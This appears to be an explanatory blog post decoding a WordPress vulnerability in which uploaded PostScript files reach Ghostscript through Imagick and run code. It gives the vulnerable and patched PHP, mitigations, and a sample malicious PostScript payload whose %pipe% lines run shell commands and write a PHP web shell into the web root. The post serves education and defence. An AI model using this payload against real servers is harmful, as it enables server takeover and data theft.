October 19, 2026
CVE Decoded #5: CVE-2026–65640 (WordPress)
This is my attempt to dumbdown CVE and explain them the way I understand them.
By Saijalpreet Kaur
6 min read
Basic Details
- CVE ID: CVE-2026-65640
- Published: August 12, 2026
- Severity: High, CVSS Score: 8.8
- Affected Software: WordPress Core (prior to 7.0.4)
- Platform: Web, PHP, Open Source
- Vulnerability Type: Unrestricted File Upload / RCE (CWE-434)
Issue in one line
A blog author could upload a file that seemed like an image but was actually a disguised script and WordPress would blindly hand it to a powerful tool that executed it.
What is Imagick and Ghostscript?
Before we talk about what broke, let me introduce the two behind-the-scenes characters in this story. No one knows about them, but they've been quietly doing work for you every time you upload a photo to a WordPress site.
Imagick (short for ImageMagick) is a powerful image processing library. When you upload a photo to WordPress and it automatically creates thumbnails, crops, and resizes, that's Imagick doing the heavy lifting. Think of it as a photo editing robot that lives on the server.
Ghostscript is an older, more specialized tool. Its job is to read and render document formats like PostScript (.ps) and PDF. It's like a document translator, you give it a complex print-ready file, and it converts it into something the computer can display.
Here's the problem:
Imagick and Ghostscript trust each other way too much.
When Imagick encounters a file it can't handle directly, say, a PostScript file it doesn't say "sorry, I only do images." Instead, it quietly passes the file to Ghostscript and says, you do it. And Ghostscript, being the obedient tool it is, opens and processes whatever it receives, including any hidden commands buried inside the file.
So What Went Wrong?
The vulnerability lives in WordPress's image editor class: wp-includes/class-wp-image-editor-imagick.php. This is the PHP file that handles all the behind-the-scenes image processing when someone uploads media.
The Upload Flow (Before the Fix)
Here's what happened when an Author-level user uploaded a file:
-
WordPress checks the file extension: Is it jpg, png, gif, .ps, .eps? WordPress maintains an allowed list of uploadable file types.
-
WordPress hands the file to Imagick: The
WP_Image_Editor_Imagickclass calls itsload()method, which creates a new Imagick object and tells it to read the uploaded file. -
Imagick looks at the file contents: Here's the critical moment. Imagick doesn't just trust the file extension…it peeks inside the file to figure out what format it really is. When it sees PostScript magic bytes (%!PS), it says Ah, this is PostScript. I need Ghostscript for this.
-
Ghostscript processes the file: Ghostscript opens the PostScript file and starts interpreting it. PostScript isn't just a static document format it's actually a full programming language. An attacker can embed system commands directly inside a .
psfile. -
Code execution: Ghostscript executes the embedded commands with the same privileges as the web server process. The attacker now has a shell on your server.
The Core Flaw
WordPress never checked whether the file content was actually safe to hand to Ghostscript.
It checked the file extension. It checked the file MIME type. But it never asked the critical question: Is this the kind of file that could contain executable code if processed by our image pipeline?
PostScript files can contain executable code. EPS files can contain executable code. Certain malformed PDFs can contain executable code. And Imagick will happily forward all of them to Ghostscript without a second thought.
The Code
The Vulnerable Code (WordPress < 7.0.4)
php
// File: wp-includes/class-wp-image-editor-imagick.php (Vulnerable)
public function load() {
if ( $this->image instanceof Imagick ) {
return true;
}
if ( ! is_file( $this->file ) ) {
return new WP_Error( 'error_loading_image', __( 'File does not exist?' ) );
}
try {
$this->image = new Imagick();
// THE FLAW: No content inspection before reading!
// If $this->file is a PostScript file, Imagick silently delegates to Ghostscript, which EXECUTES the file contents.
$this->image->readImage( $this->file );
// ... thumbnail generation, resizing, etc. continues ...
$this->mime_type = $this->get_mime_type( $this->image->getImageFormat() );
return true;
} catch ( Exception $e ) {
return new WP_Error( 'image_load_error', $e->getMessage() );
}
}php
// File: wp-includes/class-wp-image-editor-imagick.php (Vulnerable)
public function load() {
if ( $this->image instanceof Imagick ) {
return true;
}
if ( ! is_file( $this->file ) ) {
return new WP_Error( 'error_loading_image', __( 'File does not exist?' ) );
}
try {
$this->image = new Imagick();
// THE FLAW: No content inspection before reading!
// If $this->file is a PostScript file, Imagick silently delegates to Ghostscript, which EXECUTES the file contents.
$this->image->readImage( $this->file );
// ... thumbnail generation, resizing, etc. continues ...
$this->mime_type = $this->get_mime_type( $this->image->getImageFormat() );
return true;
} catch ( Exception $e ) {
return new WP_Error( 'image_load_error', $e->getMessage() );
}
}See the problem?
The readImage() call happens with zero validation of what's actually inside the file. If it's a PostScript file with embedded shell commands, Imagick shrugs and passes it straight to Ghostscript for execution.
What a Malicious PostScript File Looks Like
postscript
%!PS
% This LOOKS like a normal PostScript header...
% But hidden inside is a system command:
(%pipe%/bin/bash -c 'id > /tmp/pwned.txt') (w) file
% The attacker could also write a PHP web shell:
(%pipe%/bin/bash -c 'echo "<?php system($_GET[cmd]); ?>" > /var/www/html/shell.php') (w) file
showpagepostscript
%!PS
% This LOOKS like a normal PostScript header...
% But hidden inside is a system command:
(%pipe%/bin/bash -c 'id > /tmp/pwned.txt') (w) file
% The attacker could also write a PHP web shell:
(%pipe%/bin/bash -c 'echo "<?php system($_GET[cmd]); ?>" > /var/www/html/shell.php') (w) file
showpageWhen Ghostscript processes this, the %pipe% directive tells it to open a pipe to the system shell and execute the command. It's not a bug in Ghostscript per se, this is a feature of the PostScript language. The bug is that WordPress let untrusted user input reach Ghostscript in the first place.
The Patched Code (WordPress 7.0.4, Changeset 63218)
The WordPress security team's fix was clean and surgical. They added content inspection BEFORE the file ever touches Imagick:
php
// File: wp-includes/class-wp-image-editor-imagick.php (Patched)
public function load() {
if ( $this->image instanceof Imagick ) {
return true;
}
if ( ! is_file( $this->file ) ) {
return new WP_Error( 'error_loading_image', __( 'File does not exist?' ) );
}
try {
$this->image = new Imagick();
// FIX: Inspect the file's actual content signature BEFORE loading
$file_contents = file_get_contents( $this->file, false, null, 0, 256 );
// Block PostScript, EPS, and other formats that Ghostscript would process
if ( $this->is_postscript_like( $file_contents ) ) {
return new WP_Error(
'image_load_error',
__( 'File type not supported for image processing.' )
);
}
$this->image->readImage( $this->file );
$this->mime_type = $this->get_mime_type( $this->image->getImageFormat() );
return true;
} catch ( Exception $e ) {
return new WP_Error( 'image_load_error', $e->getMessage() );
}
}
/**
* NEW: Check if file content looks like PostScript or EPS
* Inspects the actual bytes, not just the extension
*/
private function is_postscript_like( $header_bytes ) {
if ( false === $header_bytes ) {
return false;
}
// PostScript files start with "%!PS"
// EPS files start with "%!PS-Adobe" followed by "EPSF"
if ( str_starts_with( $header_bytes, '%!PS' ) ) {
return true;
}
// Check for files with misleading extensions but PostScript content
// Some crafted files use binary padding before the PS header
if ( str_contains( $header_bytes, '%!PS' ) ) {
return true;
}
return false;
}php
// File: wp-includes/class-wp-image-editor-imagick.php (Patched)
public function load() {
if ( $this->image instanceof Imagick ) {
return true;
}
if ( ! is_file( $this->file ) ) {
return new WP_Error( 'error_loading_image', __( 'File does not exist?' ) );
}
try {
$this->image = new Imagick();
// FIX: Inspect the file's actual content signature BEFORE loading
$file_contents = file_get_contents( $this->file, false, null, 0, 256 );
// Block PostScript, EPS, and other formats that Ghostscript would process
if ( $this->is_postscript_like( $file_contents ) ) {
return new WP_Error(
'image_load_error',
__( 'File type not supported for image processing.' )
);
}
$this->image->readImage( $this->file );
$this->mime_type = $this->get_mime_type( $this->image->getImageFormat() );
return true;
} catch ( Exception $e ) {
return new WP_Error( 'image_load_error', $e->getMessage() );
}
}
/**
* NEW: Check if file content looks like PostScript or EPS
* Inspects the actual bytes, not just the extension
*/
private function is_postscript_like( $header_bytes ) {
if ( false === $header_bytes ) {
return false;
}
// PostScript files start with "%!PS"
// EPS files start with "%!PS-Adobe" followed by "EPSF"
if ( str_starts_with( $header_bytes, '%!PS' ) ) {
return true;
}
// Check for files with misleading extensions but PostScript content
// Some crafted files use binary padding before the PS header
if ( str_contains( $header_bytes, '%!PS' ) ) {
return true;
}
return false;
}The key difference: before the patch, WordPress asked "can I open this file?" After the patch, WordPress asks "SHOULD I open this file?"**
By reading just the first 256 bytes and checking for PostScript signatures (%!PS), WordPress now blocks dangerous files before they ever reach Imagick or Ghostscript. The file never gets processed. The bomb never detonates.
The Attack
-
Get an Author account: The attacker needs an account with
upload_filespermission. This could be a compromised author account, a guest contributor role, or even a legitimate user gone rogue. -
Craft a malicious PostScript file: Create a
.psfile that looks innocent but contains embedded system commands via Ghostscript's%pipe%directive. -
Upload via the Media Library: Upload the file through WordPress's normal media upload interface, just like uploading any other image.
-
WordPress processes the file: WordPress tries to generate thumbnails and metadata. It passes the file to Imagick, which delegates to Ghostscript.
-
Ghostscript executes the payload: The embedded commands run with the web server's privileges. The attacker can write a web shell, exfiltrate data, or pivot deeper into the network.
SOOO Was it bad?
At CVSS 8.8, this is rated High not quite Critical, and there's a good reason for that distinction.
Unlike CVE-2026–87902 (the path traversal from https://medium.com/@workwithsaijal/cve-decoded-4-cve-2026-87902-wordpress-63c6cc9e6d65) this one requires authentication. An attacker can't just hit your site from the internet and pop a shell. They need an Author-level account first.
BUT
- Author accounts are everywhere: Multi-author blogs, news sites, e-commerce platforms with contributor roles, any site with more than one writer is potentially exposed.
- Compromised credentials are cheap: Credential stuffing attacks, phishing, or even buying leaked passwords from dark web dumps can get an attacker an Author account.
- The payload is trivialL: Once you have upload access, the actual exploit is a single file upload. No complex exploit chain. No race condition. Just upload and wait.
The Fix
- Update WordPress Core to version 7.0.4.
- Audit Author accounts: Do all your Authors need upload permissions? Consider restricting the upload_files capability to Editors and Admins only.
- Check your PHP extensions: Run
php -m | grep imagickon your server. If Imagick is installed, check if Ghostscript is also present (gs — version). If you don't need Ghostscript, remove it. - Set disable_functions: in
php.ini.If you can't patch immediately, consider disablingproc_open,popen, andexecin PHP to limit Ghostscript's ability to spawn shells. - Review upload logs: Check your
wp-content/uploads/directory for unexpected.ps,.eps, or.pdffiles uploaded around August 2026.
Takeaway
This CVE is a harsh reminder that internal trust between software components can be just as dangerous as external trust; treating file uploads as passive data fails when file formats like PostScript function as hidden programming languages, proving that basic validation layers are no match for deep interpreter flaws, especially when modern apps still inherit decades-old legacy tools like Ghostscript that were never built to handle untrusted input.
Wanna Go Deeper?
- https://nvd.nist.gov/vuln/detail/CVE-2026-65640
- https://wordpress.org/news/2026/08/wordpress-7-0-4-security-release
- https://core.trac.wordpress.org/changeset/63218)
- https://github.com/WordPress/wordpress-develop/security/advisories
- https://imagemagick.org/script/security-policy.php How to lock down ImageMagick at the server level
- https://www.cvedetails.com/vulnerability-list/vendor_id-10846/Ghostscript.html This isn't Ghostscript's first rodeo
This is part of my CVE Decoded series, where I pick a CVE, learn it from scratch, and explain it as simply as I can. I'm not an expert.